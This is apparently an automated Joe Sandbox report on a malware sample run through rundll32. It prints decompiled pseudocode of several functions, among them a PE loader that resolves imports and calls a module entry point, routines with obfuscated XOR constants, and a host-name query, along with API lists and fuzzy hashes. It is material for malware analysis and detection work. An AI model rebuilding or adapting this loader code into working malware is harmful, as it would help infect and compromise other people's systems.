				intOrPtr* _t52;
				void* _t54;
				intOrPtr* _t55;
				intOrPtr* _t57;
				intOrPtr* _t61;
				intOrPtr* _t65;
				intOrPtr _t68;
				void* _t72;
				void* _t75;
				void* _t76;

				_t55 = _a4;
				_t35 =  *((intOrPtr*)(_t55 + 4));
				_a4 = 0;
				_t76 =  *((intOrPtr*)( *_t35 + 0x4c))(_t35, _a16, 0,  &_v8, 0, _t72, _t75, _t54, __ecx, __ecx);
				if(_t76 < 0) {
					L18:
					return _t76;
				}
				_t40 = E04BE4358(_v8, _a8, _a12, _a20,  &_a20,  &_a12); // executed
				_t76 = _t40;
				if(_t76 >= 0) {
					_t61 = _a28;
					if(_t61 != 0 &&  *_t61 != 0) {
						_t52 = _v8;
						_t76 =  *((intOrPtr*)( *_t52 + 0x14))(_t52, _a24, 0, _t61, 0);
					}
					if(_t76 >= 0) {
						_t43 =  *_t55;
						_t68 =  *0x4bea348; // 0xa1d5a8
						_t20 = _t68 + 0x4beb270; // 0x740053
						_t76 =  *((intOrPtr*)( *_t43 + 0x60))(_t43, _t20, _a16, 0, 0, _v8,  &_a4, 0);
						if(_t76 >= 0) {
							_t76 = E04BE4984(_a4);
							if(_t76 >= 0) {
								_t65 = _a28;
								if(_t65 != 0 &&  *_t65 == 0) {
									_t50 = _a4;
									_t76 =  *((intOrPtr*)( *_t50 + 0x10))(_t50, _a24, 0, _t65, 0, 0);
								}
							}
						}
						_t45 = _a4;
						if(_t45 != 0) {
							 *((intOrPtr*)( *_t45 + 8))(_t45);
						}
						_t57 = __imp__#6;
						if(_a20 != 0) {
							 *_t57(_a20);
						}
						if(_a12 != 0) {
							 *_t57(_a12);
						}
					}
				}
				_t41 = _v8;
				 *((intOrPtr*)( *_t41 + 8))(_t41);
				goto L18;
			}





















                  0x04be7911
                  0x04be7914
                  0x04be7924
                  0x04be792d
                  0x04be7931
                  0x04be79ff
                  0x04be7a05
                  0x04be7a05
                  0x04be794b
                  0x04be7950
                  0x04be7954
                  0x04be795a
                  0x04be795f
                  0x04be7966
                  0x04be7975
                  0x04be7975
                  0x04be7979
                  0x04be797b
                  0x04be7987
                  0x04be7992
                  0x04be799d
                  0x04be79a1
                  0x04be79ab
                  0x04be79af
                  0x04be79b1
                  0x04be79b6
                  0x04be79bd
                  0x04be79cd
                  0x04be79cd
                  0x04be79b6
                  0x04be79af
                  0x04be79cf
                  0x04be79d4
                  0x04be79d9
                  0x04be79d9
                  0x04be79dc
                  0x04be79e5
                  0x04be79ea
                  0x04be79ea
                  0x04be79ef
                  0x04be79f4
                  0x04be79f4
                  0x04be79ef
                  0x04be7979
                  0x04be79f6
                  0x04be79fc
                  0x00000000

                  APIs
                    • Part of subcall function 04BE4358: SysAllocString.OLEAUT32(80000002), ref: 04BE43B5
                    • Part of subcall function 04BE4358: SysFreeString.OLEAUT32(00000000), ref: 04BE441B
                  • SysFreeString.OLEAUT32(?), ref: 04BE79EA
                  • SysFreeString.OLEAUT32(04BE4D42), ref: 04BE79F4
                  Memory Dump Source
                  • Source File: 00000004.00000002.777093397.0000000004BE1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04BE0000, based on PE: true
                  • Associated: 00000004.00000002.777083021.0000000004BE0000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777111251.0000000004BE9000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777119384.0000000004BEA000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777130049.0000000004BEC000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4be0000_rundll32.jbxd
                  Similarity
                  • API ID: String$Free$Alloc
                  • String ID:
                  • API String ID: 986138563-0
                  • Opcode ID: 1037b692eb7b3836f27a41eb902e5652219a77110045325ea26768c4bd5a7578
                  • Instruction ID: c73278039e99dbf3994e93ea3d404195374d33baa686f3b506c472c78faff2c5
                  • Opcode Fuzzy Hash: 1037b692eb7b3836f27a41eb902e5652219a77110045325ea26768c4bd5a7578
                  • Instruction Fuzzy Hash: 82313876500159BFCF11DFAAC888CABBB7AFFC97407144698F9059B214D731AD91CBA0
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 047820A4 Relevance: 3.1, APIs: 2, Instructions: 60stringthreadCOMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E047820A4() {
				char _v16;
				intOrPtr _v28;
				void _v32;
				void* _v36;
				intOrPtr _t15;
				void* _t16;
				void* _t24;
				long _t25;
				int _t26;
				void* _t30;
				intOrPtr* _t32;
				signed int _t36;
				intOrPtr _t39;

				_t15 =  *0x47841c4;
				if( *0x47841ac > 5) {
					_t16 = _t15 + 0x4785150;
				} else {
					_t16 = _t15 + 0x478527e;
				}
				E04781E4A(_t16, _t16);
				_t36 = 6;
				memset( &_v32, 0, _t36 << 2);
				_t24 = E047813A7( &_v32,  &_v16,  *0x47841c0 ^ 0xdd0210cf); // executed
				if(_t24 == 0) {
					_t25 = 0xb;
				} else {
					_t26 = lstrlenW( *0x47841b8);
					_t8 = _t26 + 2; // 0x2
					_t11 = _t26 + _t8 + 8; // 0xa
					_t30 = E04781598(_t39, _t11,  &_v32,  &_v36); // executed
					if(_t30 == 0) {
						_t40 =  *0x47841b8;
						_t32 = _v36;
						 *_t32 = 0;
						if( *0x47841b8 == 0) {
							 *((short*)(_t32 + 4)) = 0;
						} else {
							E04782164(_t45, _t40, _t32 + 4);
						}
					}
					_t25 = E0478166A(_v28); // executed
				}
				ExitThread(_t25);
			}
















                  0x047820aa
                  0x047820bb
                  0x047820c5
                  0x047820bd
                  0x047820bd
                  0x047820bd
                  0x047820cc
                  0x047820d5
                  0x047820da
                  0x047820f1
                  0x047820f8
                  0x04782155
                  0x047820fa
                  0x04782100
                  0x04782106
                  0x04782114
                  0x04782118
                  0x0478211f
                  0x04782121
                  0x04782127
                  0x0478212b
                  0x04782133
                  0x04782144
                  0x04782135
                  0x0478213b
                  0x0478213b
                  0x04782133
                  0x0478214c
                  0x0478214c
                  0x04782157

                  APIs
                  Memory Dump Source
                  • Source File: 00000004.00000002.776956748.0000000004780000.00000040.00001000.00020000.00000000.sdmp, Offset: 04780000, based on PE: true
                  • Associated: 00000004.00000002.776956748.0000000004785000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4780000_rundll32.jbxd
                  Similarity
                  • API ID: ExitThreadlstrlen
                  • String ID:
                  • API String ID: 2636182767-0
                  • Opcode ID: 3bea6c567c29b7764bdce039c620985be2912f360283fae903b81b6e02fde37f
                  • Instruction ID: ab19806dcf014b8311ae8abd4a65e932323aeb2aac69ffac04c36c8f655e008a
                  • Opcode Fuzzy Hash: 3bea6c567c29b7764bdce039c620985be2912f360283fae903b81b6e02fde37f
                  • Instruction Fuzzy Hash: 54112271984305ABE711EBA4DC48D8B37EDEB48314F21886DB605D3261FB34F9058B52
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04BE5157 Relevance: 3.0, APIs: 2, Instructions: 50memorytimeCOMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E04BE5157(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, signed int _a16) {
				struct _FILETIME _v12;
				signed int _t11;
				void* _t16;
				short _t19;
				void* _t22;
				void* _t24;
				void* _t25;
				short* _t26;

				_t24 = __edx;
				_t25 = E04BE6536(_t11, _a12);
				if(_t25 == 0) {
					_t22 = 8;
				} else {
					_t26 = _t25 + _a16 * 2;
					 *_t26 = 0; // executed
					_t16 = E04BE330E(__ecx, _a4, _a8, _t25); // executed
					_t22 = _t16;
					if(_t22 == 0) {
						GetSystemTimeAsFileTime( &_v12);
						_t19 = 0x5f;
						 *_t26 = _t19;
						_t22 = E04BE7767(_t24, _a4, 0x80000001, _a8, _t25,  &_v12, 8);
					}
					HeapFree( *0x4bea2d8, 0, _t25);
				}
				return _t22;
			}











                  0x04be5157
                  0x04be5168
                  0x04be516c
                  0x04be51c7
                  0x04be516e
                  0x04be5175
                  0x04be517d
                  0x04be5180
                  0x04be5185
                  0x04be5189
                  0x04be518f
                  0x04be5197
                  0x04be519a
                  0x04be51b2
                  0x04be51b2
                  0x04be51bd
                  0x04be51bd
                  0x04be51ce

                  APIs
                    • Part of subcall function 04BE6536: lstrlen.KERNEL32(?,00000000,05609DD8,00000000,04BE6F0A,05609FFB,43175AC3,?,?,?,?,43175AC3,00000005,04BEA00C,4D283A53,?), ref: 04BE653D
                    • Part of subcall function 04BE6536: mbstowcs.NTDLL ref: 04BE6566
                    • Part of subcall function 04BE6536: memset.NTDLL ref: 04BE6578
                  • GetSystemTimeAsFileTime.KERNEL32(004F0053,004F0053,00000014,00000000,00000008,00000000,74CB5520,00000008,00000014,004F0053,05609270), ref: 04BE518F
                  • HeapFree.KERNEL32(00000000,00000000,004F0053,00000014,00000000,00000008,00000000,74CB5520,00000008,00000014,004F0053,05609270), ref: 04BE51BD
                  Memory Dump Source
                  • Source File: 00000004.00000002.777093397.0000000004BE1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04BE0000, based on PE: true
                  • Associated: 00000004.00000002.777083021.0000000004BE0000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777111251.0000000004BE9000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777119384.0000000004BEA000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777130049.0000000004BEC000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4be0000_rundll32.jbxd
                  Similarity
                  • API ID: Time$FileFreeHeapSystemlstrlenmbstowcsmemset
                  • String ID:
                  • API String ID: 1500278894-0
                  • Opcode ID: de4bfd5e89227f97678332665a8376c13a6546bcef06a15b0ea161b6bf53359b
                  • Instruction ID: 6a6cdf5890ceaa4092bf20e61f790cd7b240fd97d9a5b2e37f7d4088d235035c
                  • Opcode Fuzzy Hash: de4bfd5e89227f97678332665a8376c13a6546bcef06a15b0ea161b6bf53359b
                  • Instruction Fuzzy Hash: B2018432200209BBDF215FA6DC44EAA3FB9EFC4718F404066FA009B151DB72E964D760
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04BE370C Relevance: 3.0, APIs: 2, Instructions: 43memoryCOMMON
                  Download Yara Rule
                  APIs
                  • SysAllocString.OLEAUT32(04BE57D1), ref: 04BE3725
                    • Part of subcall function 04BE790B: SysFreeString.OLEAUT32(?), ref: 04BE79EA
                  • SysFreeString.OLEAUT32(00000000), ref: 04BE3766
                  Memory Dump Source
                  • Source File: 00000004.00000002.777093397.0000000004BE1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04BE0000, based on PE: true
                  • Associated: 00000004.00000002.777083021.0000000004BE0000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777111251.0000000004BE9000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777119384.0000000004BEA000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777130049.0000000004BEC000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4be0000_rundll32.jbxd
                  Similarity
                  • API ID: String$Free$Alloc
                  • String ID:
                  • API String ID: 986138563-0
                  • Opcode ID: 7c12fc97054a5b14fca3214ddb0cbc0f2ce2a05c47f70b418a3e0b4bd1f4aca2
                  • Instruction ID: 50a6a6140498a390d44ab03e70825def43e1edc130f9af923d2806dd58cdc0f4
                  • Opcode Fuzzy Hash: 7c12fc97054a5b14fca3214ddb0cbc0f2ce2a05c47f70b418a3e0b4bd1f4aca2
                  • Instruction Fuzzy Hash: E2014F7550010DBFDB029FAAD904DAF7BB8EF88750B014026FA05E7121D7309D15CBA2
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04BE472F Relevance: 3.0, APIs: 2, Instructions: 40COMMON
                  Download Yara Rule
                  C-Code - Quality: 37%
                  			E04BE472F(void* __ecx) {
				signed int _v8;
				void* _t15;
				void* _t19;
				void* _t20;
				void* _t22;
				intOrPtr* _t23;

				_t23 = __imp__;
				_t20 = 0;
				_v8 = _v8 & 0;
				 *_t23(3, 0,  &_v8, _t19, _t22, __ecx); // executed
				_t10 = _v8;
				if(_v8 != 0) {
					_t20 = E04BE33DC(_t10 + 1);
					if(_t20 != 0) {
						_t15 =  *_t23(3, _t20,  &_v8); // executed
						if(_t15 != 0) {
							 *((char*)(_v8 + _t20)) = 0;
						} else {
							E04BE61DA(_t20);
							_t20 = 0;
						}
					}
				}
				return _t20;
			}









                  0x04be4734
                  0x04be473f
                  0x04be4741
                  0x04be4747
                  0x04be4749
                  0x04be474e
                  0x04be4757
                  0x04be475b
                  0x04be4764
                  0x04be4768
                  0x04be4777
                  0x04be476a
                  0x04be476b
                  0x04be4770
                  0x04be4770
                  0x04be4768
                  0x04be475b
                  0x04be4780

                  APIs
                  • GetComputerNameExA.KERNEL32(00000003,00000000,04BE3DCD,00000000,00000000,?,7491C740,04BE3DCD), ref: 04BE4747
                    • Part of subcall function 04BE33DC: RtlAllocateHeap.NTDLL(00000000,00000000,04BE62F6), ref: 04BE33E8
                  • GetComputerNameExA.KERNEL32(00000003,00000000,04BE3DCD,04BE3DCE,?,7491C740,04BE3DCD), ref: 04BE4764
                    • Part of subcall function 04BE61DA: RtlFreeHeap.NTDLL(00000000,00000000,04BE6383,00000000,?,00000000,00000000), ref: 04BE61E6
                  Memory Dump Source
                  • Source File: 00000004.00000002.777093397.0000000004BE1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04BE0000, based on PE: true
                  • Associated: 00000004.00000002.777083021.0000000004BE0000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777111251.0000000004BE9000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777119384.0000000004BEA000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777130049.0000000004BEC000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4be0000_rundll32.jbxd
                  Similarity
                  • API ID: ComputerHeapName$AllocateFree
                  • String ID:
                  • API String ID: 187446995-0
                  • Opcode ID: 1d6d975eaaad93985678569c899b5138286ffb2f88aab872aa00bf6a3efb2fcd
                  • Instruction ID: 6b63c59bbaefda5e6aeaa5ded22ce03b65becab8191b088b67f081bca4a2205f
                  • Opcode Fuzzy Hash: 1d6d975eaaad93985678569c899b5138286ffb2f88aab872aa00bf6a3efb2fcd
                  • Instruction Fuzzy Hash: B2F0B436600119FAEB11D6ABCC04EBF3BECDBC5645F500195E904D3140EF70EE0186B0
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04BE5006 Relevance: 3.0, APIs: 2, Instructions: 26memoryCOMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E04BE5006(signed int __edx, intOrPtr _a4) {
				void* _t3;
				void* _t5;
				void* _t7;
				void* _t8;
				void* _t9;
				signed int _t10;

				_t10 = __edx;
				_t3 = HeapCreate(0, 0x400000, 0); // executed
				 *0x4bea2d8 = _t3;
				if(_t3 == 0) {
					_t8 = 8;
					return _t8;
				}
				 *0x4bea1c8 = GetTickCount();
				_t5 = E04BE54D8(_a4);
				if(_t5 == 0) {
					_t5 = E04BE213E(_t9, _a4); // executed
					if(_t5 == 0) {
						if(E04BE6392(_t9) != 0) {
							 *0x4bea300 = 1; // executed
						}
						_t7 = E04BE2523(_t10); // executed
						return _t7;
					}
				}
				return _t5;
			}









                  0x04be5006
                  0x04be500f
                  0x04be5015
                  0x04be501c
                  0x04be5020
                  0x00000000
                  0x04be5020
                  0x04be502d
                  0x04be5032
                  0x04be5039
                  0x04be503f
                  0x04be5046
                  0x04be504f
                  0x04be5051
                  0x04be5051
                  0x04be505b
                  0x00000000
                  0x04be505b
                  0x04be5046
                  0x04be5060

                  APIs
                  • HeapCreate.KERNEL32(00000000,00400000,00000000,04BE107E,?), ref: 04BE500F
                  • GetTickCount.KERNEL32 ref: 04BE5023
                  Memory Dump Source
                  • Source File: 00000004.00000002.777093397.0000000004BE1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04BE0000, based on PE: true
                  • Associated: 00000004.00000002.777083021.0000000004BE0000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777111251.0000000004BE9000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777119384.0000000004BEA000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777130049.0000000004BEC000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4be0000_rundll32.jbxd
                  Similarity
                  • API ID: CountCreateHeapTick
                  • String ID:
                  • API String ID: 2177101570-0
                  • Opcode ID: 6bab100e05914d44ec762abbe8119582eedeeb83938099d6baf201b8b0bf96c5
                  • Instruction ID: b28debca21dd28fa5c8fbaa468f85b8b947e0753079ed9a5db761931e1687f95
                  • Opcode Fuzzy Hash: 6bab100e05914d44ec762abbe8119582eedeeb83938099d6baf201b8b0bf96c5
                  • Instruction Fuzzy Hash: 02F06D70640301FAEB722FB3A91473536A8EFC870DF5040A6F901DA083EBB9F8109A71
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04BE2839 Relevance: 1.5, APIs: 1, Instructions: 49COMMON
                  Download Yara Rule
                  C-Code - Quality: 34%
                  			E04BE2839(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v12;
				void* _v18;
				char _v20;
				intOrPtr _t15;
				void* _t17;
				intOrPtr _t19;
				void* _t23;

				_v20 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				_t15 =  *0x4bea348; // 0xa1d5a8
				_t4 = _t15 + 0x4beb3e8; // 0x5608990
				_t20 = _t4;
				_t6 = _t15 + 0x4beb174; // 0x650047
				_t17 = E04BE790B(_t4, _a4, 0x80000002, _a8, _t6, _a12, _t4,  &_v20); // executed
				if(_t17 < 0) {
					_t23 = _t17;
				} else {
					_t23 = 8;
					if(_v20 != _t23) {
						_t23 = 1;
					} else {
						_t19 = E04BE661C(_t20, _v12);
						if(_t19 != 0) {
							 *_a16 = _t19;
							_t23 = 0;
						}
						__imp__#6(_v12);
					}
				}
				return _t23;
			}










                  0x04be2843
                  0x04be284a
                  0x04be284b
                  0x04be284c
                  0x04be284d
                  0x04be2853
                  0x04be2858
                  0x04be2858
                  0x04be2862
                  0x04be2874
                  0x04be287b
                  0x04be28a9
                  0x04be287d
                  0x04be287f
                  0x04be2884
                  0x04be28a6
                  0x04be2886
                  0x04be2889
                  0x04be2890
                  0x04be2895
                  0x04be2897
                  0x04be2897
                  0x04be289c
                  0x04be289c
                  0x04be2884
                  0x04be28b0

                  APIs
                    • Part of subcall function 04BE790B: SysFreeString.OLEAUT32(?), ref: 04BE79EA
                    • Part of subcall function 04BE661C: lstrlenW.KERNEL32(004F0053,00000000,00000000,?,?,04BE4B72,004F0053,00000000,?), ref: 04BE6625
                    • Part of subcall function 04BE661C: memcpy.NTDLL(00000000,004F0053,?,?,00000002,?,?,04BE4B72,004F0053,00000000,?), ref: 04BE664F
                    • Part of subcall function 04BE661C: memset.NTDLL ref: 04BE6663
                  • SysFreeString.OLEAUT32(00000000), ref: 04BE289C
                  Memory Dump Source
                  • Source File: 00000004.00000002.777093397.0000000004BE1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04BE0000, based on PE: true
                  • Associated: 00000004.00000002.777083021.0000000004BE0000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777111251.0000000004BE9000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777119384.0000000004BEA000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777130049.0000000004BEC000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4be0000_rundll32.jbxd
                  Similarity
                  • API ID: FreeString$lstrlenmemcpymemset
                  • String ID:
                  • API String ID: 397948122-0
                  • Opcode ID: b6af6933c2751c989e586e10155e3c5c4e1dc066c86f335f95618b539f0e0344
                  • Instruction ID: e01fc45e629bbdced718822168f10ece2fe721e8fe8f11bca0cde25bd494e7b9
                  • Opcode Fuzzy Hash: b6af6933c2751c989e586e10155e3c5c4e1dc066c86f335f95618b539f0e0344
                  • Instruction Fuzzy Hash: 8901B171500119BFEB45DFA6CC009AABBBCFF84350F0045A5E901E7060E771E916C790
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04781E4A Relevance: 1.5, APIs: 1, Instructions: 8COMMON
                  Download Yara Rule
                  C-Code - Quality: 37%
                  			E04781E4A(void* __eax, intOrPtr _a4) {

				 *0x47841d0 =  *0x47841d0 & 0x00000000;
				_push(0);
				_push(0x47841cc);
				_push(1);
				_push(_a4);
				 *0x47841c8 = 0xc; // executed
				L0478215E(); // executed
				return __eax;
			}



                  0x04781e4a
                  0x04781e51
                  0x04781e53
                  0x04781e58
                  0x04781e5a
                  0x04781e5e
                  0x04781e68
                  0x04781e6d

                  APIs
                  • ConvertStringSecurityDescriptorToSecurityDescriptorA.ADVAPI32(047820D1,00000001,047841CC,00000000), ref: 04781E68
                  Memory Dump Source
                  • Source File: 00000004.00000002.776956748.0000000004780000.00000040.00001000.00020000.00000000.sdmp, Offset: 04780000, based on PE: true
                  • Associated: 00000004.00000002.776956748.0000000004785000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4780000_rundll32.jbxd
                  Similarity
                  • API ID: DescriptorSecurity$ConvertString
                  • String ID:
                  • API String ID: 3907675253-0
                  • Opcode ID: ba0d00f91ad6100e516216f589830b1a75d89f8a1a96c9b3e394e65960e616ad
                  • Instruction ID: 3d98d59c2ccafd6f3112569ac163023bc5cc911c33816ff5bc7098d5e75181bb
                  • Opcode Fuzzy Hash: ba0d00f91ad6100e516216f589830b1a75d89f8a1a96c9b3e394e65960e616ad
                  • Instruction Fuzzy Hash: 68C04CB49C0312A7F720BF40DC4AF457B51B760B1AF70464CF600242C1E3FB24548A15
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04BE61DA Relevance: 1.5, APIs: 1, Instructions: 5memoryCOMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E04BE61DA(void* _a4) {
				char _t2;

				_t2 = RtlFreeHeap( *0x4bea2d8, 0, _a4); // executed
				return _t2;
			}




                  0x04be61e6
                  0x04be61ec

                  APIs
                  • RtlFreeHeap.NTDLL(00000000,00000000,04BE6383,00000000,?,00000000,00000000), ref: 04BE61E6
                  Memory Dump Source
                  • Source File: 00000004.00000002.777093397.0000000004BE1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04BE0000, based on PE: true
                  • Associated: 00000004.00000002.777083021.0000000004BE0000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777111251.0000000004BE9000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777119384.0000000004BEA000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777130049.0000000004BEC000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4be0000_rundll32.jbxd
                  Similarity
                  • API ID: FreeHeap
                  • String ID:
                  • API String ID: 3298025750-0
                  • Opcode ID: 2e482d5bcd0dcb95eee7713d3375ebb7151f6be27bfa1c3ce7ab152ed5061239
                  • Instruction ID: 2f0cb94d8773fb4dd20bace5776a32cabf21d21795c5e965a590316fdee7ff2f
                  • Opcode Fuzzy Hash: 2e482d5bcd0dcb95eee7713d3375ebb7151f6be27bfa1c3ce7ab152ed5061239
                  • Instruction Fuzzy Hash: 97B012B1200200ABCF114B13DE04F057B21EBD4700F004012B3041907282360C24FB35
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04781CD6 Relevance: 1.5, APIs: 1, Instructions: 5memoryCOMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E04781CD6(void* _a4) {
				char _t2;

				_t2 = RtlFreeHeap( *0x4784190, 0, _a4); // executed
				return _t2;
			}




                  0x04781ce2
                  0x04781ce8

                  APIs
                  • RtlFreeHeap.NTDLL(00000000,00000030,04781C29,00000000,00000030,00000000,00000000,00000030,?,?,?,?,?,0478129B), ref: 04781CE2
                  Memory Dump Source
                  • Source File: 00000004.00000002.776956748.0000000004780000.00000040.00001000.00020000.00000000.sdmp, Offset: 04780000, based on PE: true
                  • Associated: 00000004.00000002.776956748.0000000004785000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4780000_rundll32.jbxd
                  Similarity
                  • API ID: FreeHeap
                  • String ID:
                  • API String ID: 3298025750-0
                  • Opcode ID: 80ef139cc55536e191ee200156c32069e931f64535004ac3ebaf43b8a978834c
                  • Instruction ID: 899e97cc1d1d8cb912160be71113130fce77a343214b0acb6cae1b6af816a965
                  • Opcode Fuzzy Hash: 80ef139cc55536e191ee200156c32069e931f64535004ac3ebaf43b8a978834c
                  • Instruction Fuzzy Hash: ECB01231480100EBCA118B00ED04F497F23F760F00F20C418F30400060A2768C20FB19
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04782046 Relevance: 1.5, APIs: 1, Instructions: 5memoryCOMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E04782046(long _a4) {
				void* _t2;

				_t2 = RtlAllocateHeap( *0x4784190, 0, _a4); // executed
				return _t2;
			}




                  0x04782052
                  0x04782058

                  APIs
                  • RtlAllocateHeap.NTDLL(00000000,?,0478124D,00000030,74CB63F0,00000000), ref: 04782052
                  Memory Dump Source
                  • Source File: 00000004.00000002.776956748.0000000004780000.00000040.00001000.00020000.00000000.sdmp, Offset: 04780000, based on PE: true
                  • Associated: 00000004.00000002.776956748.0000000004785000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4780000_rundll32.jbxd
                  Similarity
                  • API ID: AllocateHeap
                  • String ID:
                  • API String ID: 1279760036-0
                  • Opcode ID: 093ab602cfee8de80d578b8108e600b12c6fc4a400d43199a40a2fd2cc651acf
                  • Instruction ID: 198a3c13b60f9bac41bffa9c979ddbf2cd595d3fb0d43613deafcec24ff088db
                  • Opcode Fuzzy Hash: 093ab602cfee8de80d578b8108e600b12c6fc4a400d43199a40a2fd2cc651acf
                  • Instruction Fuzzy Hash: A3B01271580100ABCA014B00EE04F85BF23F760F00F20C419F30854060937A1C20EB04
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 0478166A Relevance: 1.3, APIs: 1, Instructions: 70COMMON
                  Download Yara Rule
                  C-Code - Quality: 85%
                  			E0478166A(void* __eax) {
				char _v8;
				void* _v12;
				void* __edi;
				void* _t18;
				long _t26;
				long _t29;
				intOrPtr _t40;
				void* _t41;
				void* _t42;
				void* _t44;

				_t41 = __eax;
				_t16 =  *0x47841c0;
				_t33 =  *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0x47841c0 - 0x43174ac4 &  !( *0x47841c0 - 0x43174ac4);
				_t18 = E04781142( *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0x47841c0 - 0x43174ac4 &  !( *0x47841c0 - 0x43174ac4),  *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0x47841c0 - 0x43174ac4 &  !( *0x47841c0 - 0x43174ac4), _t16 + 0xbce8a57d,  &_v8,  &_v12); // executed
				if(_t18 != 0) {
					_t29 = 8;
					goto L8;
				} else {
					_t40 = _v8;
					_t29 = E04781C51(_t33, _t40, _t41);
					if(_t29 == 0) {
						_t44 =  *((intOrPtr*)(_t40 + 0x3c)) + _t40;
						_t29 = E04781CEB(_t40, _t44);
						if(_t29 == 0) {
							_t26 = E0478170E(_t44, _t40); // executed
							_t29 = _t26;
							if(_t29 == 0) {
								_push(_t26);
								_push(1);
								_push(_t40);
								if( *((intOrPtr*)( *((intOrPtr*)(_t44 + 0x28)) + _t40))() == 0) {
									_t29 = GetLastError();
								}
							}
						}
					}
					_t42 = _v12;
					 *((intOrPtr*)(_t42 + 0x18))( *((intOrPtr*)(_t42 + 0x1c))( *_t42));
					E04781CD6(_t42);
					L8:
					return _t29;
				}
			}













                  0x04781672
                  0x04781674
                  0x04781690
                  0x047816a1
                  0x047816a8
                  0x04781706
                  0x00000000
                  0x047816aa
                  0x047816aa
                  0x047816b4
                  0x047816b8
                  0x047816bd
                  0x047816c5
                  0x047816c9
                  0x047816ce
                  0x047816d3
                  0x047816d7
                  0x047816dc
                  0x047816dd
                  0x047816e1
                  0x047816e6
                  0x047816ee
                  0x047816ee
                  0x047816e6
                  0x047816d7
                  0x047816c9
                  0x047816f0
                  0x047816f9
                  0x047816fd
                  0x04781707
                  0x0478170d
                  0x0478170d

                  APIs
                    • Part of subcall function 04781142: GetModuleHandleA.KERNEL32(?,00000020), ref: 04781166
                    • Part of subcall function 04781142: GetProcAddress.KERNEL32(00000000,?), ref: 04781188
